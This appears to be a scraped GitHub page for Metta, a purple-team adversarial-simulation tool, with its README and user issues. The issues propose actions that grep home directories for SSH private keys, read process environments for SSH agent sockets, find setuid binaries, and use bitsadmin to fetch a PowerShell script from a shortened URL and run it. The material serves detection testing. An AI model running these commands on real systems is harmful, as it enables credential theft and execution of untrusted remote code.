Git Product home page Git Product logo

metta's Introduction

Metta

Metta is an information security preparedness tool.

This project uses Redis/Celery, python, and vagrant with virtualbox to do adversarial simulation. This allows you to test (mostly) your host based instrumentation but may also allow you to test any network based detection and controls depending on how you set up your vagrants.

The project parses yaml files with actions and uses celery to queue these actions up and run them one at a time without interaction.


Installation

see setup.md

There is also a wiki

Running actions

The various actions live in the MITRE folder sorted by MITRE ATT&CK phases and also in Adversarial_Simulation

Just run the python and yaml file of your choice

$ python run_simulation_yaml.py -f MITRE/Discovery/discovery_win_account.yml
YAML FILE: MITRE/Discovery/discovery_account.yaml
OS matched windows...sending to the windows vagrant
Running: cmd.exe /c net group \"Domain Admins\" /domain
Running: cmd.exe /c net user /add
Running: cmd.exe /c net user /domain
Running: cmd.exe /c net localgroup administrators
Running: cmd.exe /c net share
Running: cmd.exe /c net use
Running: cmd.exe /c net accounts
Running: cmd.exe /c net config workstation
Running: cmd.exe /c dsquery server
Running: cmd.exe /c dsquery user -name smith* | dsget user -dn -desc
Running: cmd.exe /c wmic useraccount list /format:list
Running: cmd.exe /c wmic ntdomain
Running: cmd.exe /c wmic group list /format:list
Running: cmd.exe /c wmic sysaccount list /format:list

Making actions

The actions and scenarios live in the MITRE folder sorted by MITRE ATT&CK phases and also in Adversarial_Simulation actions example

The most important parts are the OS field and the purple_actions

os: will tell the tool which vagrant to send the command to, obviously *nix commands on windows wont work out so well

purple_actions: an array of commands to run sequentially

Making scenarios

Scenarios are a list of paths to actions.

The code will be looking for a scenario: True field and scenario_actions list. Example below: scenario example

Gotchas

The tool takes the string from purple_actions and encapsulates it in quotes. Therefore you need to escape any other quotes, ticks, weird shell characters in your command.

Use the output of the vagrant/celery piece to make sure things are working like they should

Why Metta?

Metta (Pali) Loving kindness, gentle friendship; a practice for generating loving kindness said to be first taught by the Buddha as an antidote to fear. It helps cultivate our natural capacity for an open and loving heart and is traditionally offered along with other Brahma-vihara meditations that enrich compassion, joy in the happiness of others and equanimity. These practices lead to the development of concentration, fearlessness, happiness and a greater ability to love.

metta's People

Contributors

carnal0wnage avatar myhrvold avatar paragonsec avatar uber-mubix avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

metta's Issues

Running start_vagrant_celery.sh issues error No module named 'config'

(metta) ➜ metta git:(master) ✗ ./start_vagrant_celery.sh Usage: celery [OPTIONS] COMMAND [ARGS]...

Error: Invalid value for '-A' / '--app': No module named 'config'
(metta) ➜ metta git:(master) ✗

I believe I have followed setup instructions but something has caused it to error in a weird way.

SSH Key Search Linux CredAccess

Below is my proposal to add ssh key search on Linux that falls in line with credential access on MITRE ATT&CK.


enabled: true
meta:
author: paragonsec
created: 2018-03-22
decorations:

  • Purple Team
    description: Search for SSH Keys
    mitre_link: https://attack.mitre.org/wiki/Technique/T1145
    mitre_attack_phase: Credential Access
    mitre_attack_technique: Search for SSH Keys
    purple_actions:
    1: grep /home/ -irw -e "BEGIN RSA PRIVATE" 2>/dev/null > rsa_keys.txt
    2: grep /home/ -irw -e "BEGIN DSA PRIVATE" 2>/dev/null > dsa_keys.txt
    os: linux
    name: Search for SSH Keys

CG no longer has commit access to this repo

Just a note in case anyone finds themselves here looking for help or updates - I no longer work at Uber and don't have commit access to the repo - :-/

AFAIK no one is maintaining the project

python3 support

Doesnt look like metta works with python3 yet. get that working

Performing remote attacks using Metta

Hi,

May i know is Metta able to do remote attacks , for example , from Kali to victim machine or from Kali it allows executing commands on victim machine ?

Thank you.

Regards,
Sulaiman

Call MITRE ATT&CK Techniques by their T number

Metta should be able to take a list of ATT&CK T-numbers and execute baseline actions that correspond to those T-numbers.

Why? it could then read in the T numbers assigned to any APT group from: https://attack.mitre.org/wiki/Groups (or the json that supports that data in unfetter)

and then execute those actions.

Wishlist; your pentest group could provide you a list of things they did by T-number and you could reproduce in your environment via Metta

Add setuid and setgid search for Linux privilege escalation

Below is the yaml file that could be added to add search functionality for setuid and setgid. This could also be ported to Mac.


enabled: true
meta:
author: paragonsec
created: 2018-03-22
decorations:

  • Purple Team
    description: Find setuid and setgid binaries
    mitre_link: https://attack.mitre.org/wiki/Technique/T1166
    mitre_attack_phase: Privilege Escalation
    mitre_attack_technique: File System setguid and setgid binaries
    purple_actions:
    1: find / -perm -2000 -o -perm -4000 -ls 2>/dev/null
    2: find / -perm -2000 2>/dev/null
    2: find / -perm -4000 2>/dev/null
    os: linux
    name: Find setuid and setgid binaries

Celery tasks

hi guys,

Thanks for releasing a great tool!!

Can I please ask if there were any design reasons you went for the 3 celery tasks, one for each platform, instead of having one and distinguishing there were to route the request ? It appears that most of the code in celery tasks vagranttasks.py and on therun_uuidmethod ( if rule_os == "windows": ...) is the same. Just wondering.

Cheers

Issue with Vagrantfile

Hello,
I do all the steps for the installation, but i have issue with the Vagrant vm, so my question is :

  • What is the path which i should past it in the file "config.ini", knowing that i install this vagrant vm in the VirtualBox : https://app.vagrantup.com/StefanScherer/boxes/windows_10.
    PS: I have two VM one is ubuntu 18 LTS which the project was deployed and the vagrant windows machine.

Make sure virtualenv picks up Python 2.7

Just so others don't waste a day or so on this like I did - make sure that virtualenv is picking up your Python 2.7 environment and not your 3.X one. I'm setting this up on a system running macOS and that has multiple Python environments. Base 'virtualenv metta' was pulling my Brew installed Python 3.6 environment while it seems Metta either requires 2.7 or just doesn't like my 3.6 build.

Running:

virtualenv --python=<path to preferred python> metta

fixed the issue.

Recommendation - Make note in setup/README that Metta requires Python 2.7 (if this is indeed the case) or make note that if you are getting import errors on workers.vagranttasks or BaseConfig (which is where my problems were) you should declare a different Python environment when creating the virtualenv.

SSH Hijacking linux lateral movement addition proposal

Below is my proposal for SSH Hijacking for lateral movement.

enabled: true
meta:
author: paragonsec
created: 2018-03-22
decorations:

  • Purple Team
    description: Lateral Movement with SSH Agent Hijacking
    link: https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking
    mitre_link: https://attack.mitre.org/wiki/Technique/T1184
    mitre_attack_phase: Lateral Movement
    mitre_attack_technique: Lateral Movement with SSH Agent Hijacking
    purple_actions:
    1: grep ~/.ssh/config -e ForwardAgent > ssh_config.txt
    2: ps ef |grep -i -e "ssh-agent" > ssh_process.txt
    3: cat /proc/*/environ |tr -s '\0' '\n' | grep SSH_AUTH_SOCK |sort -u 2>/dev/null > ssh_agent.txt
    os: linux
    name: Lateral Movement with SSH Agent Hijacking

Small changes to MITRE technique names

During the integration of metta with my simulation platform I noticed that there are several metta config files that have the incorrect mitre_attack_technique mapping to the actual MITRE technique name. Perhaps MITRE made small changes to their model :) It involves the following differences (ie. wrong mitre_attack_technique vs correct mitre names):

mitre_attack_technique: System Owner-User Discovery
mitre: System Owner/User Discovery

mitre_attack_technique: Registry Run Keys / Start Folder
mitre: Registry Run Keys / Startup Folder

mitre_attack_technique: Lateral Movement with SSH Agent Hijacking
mitre: SSH Hijacking

mitre_attack_technique: Powershell
mitre: PowerShell

mitre_attack_technique: Cron Job
mitre: Local Job Scheduling

SIEM Integration

Still looking into this, but can this be integrated to a SIEM?

Fix the execution_win_bitsadmin.yml

I tested the action in the metta/MITRE/Execution/execution_win_bitsadmin.yml on Win10, Win8, Win 7
You can change with this:

cmd.exe /c bitsadmin.exe /transfer mimi /Download /priority high http://bit.ly/2fMPgDz C:\Tools\Default_File_Path.ps1; cmd.exe /c powershell C:\Tools\Default_File_Path.ps1

Because current version is just working on Win8. Not working on Win10 and Win7.

Feature Request: Kali/Other VM Type

I'd like to add a Kali type to the stable of available vagrant targets. It would be easy to extend the logic for selecting the appropriate Vagrant target/control type for a 4th type, but I prefer to keep the framework as maintained rather than forking it or having to maintain changes. This would be used to perform network-based controls tests using common attack tools already installed in Kali. I'd prefer to keep our Linux system as it is normally built and instrumented rather than putting a bunch of extra stuff on it.

Thoughts?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.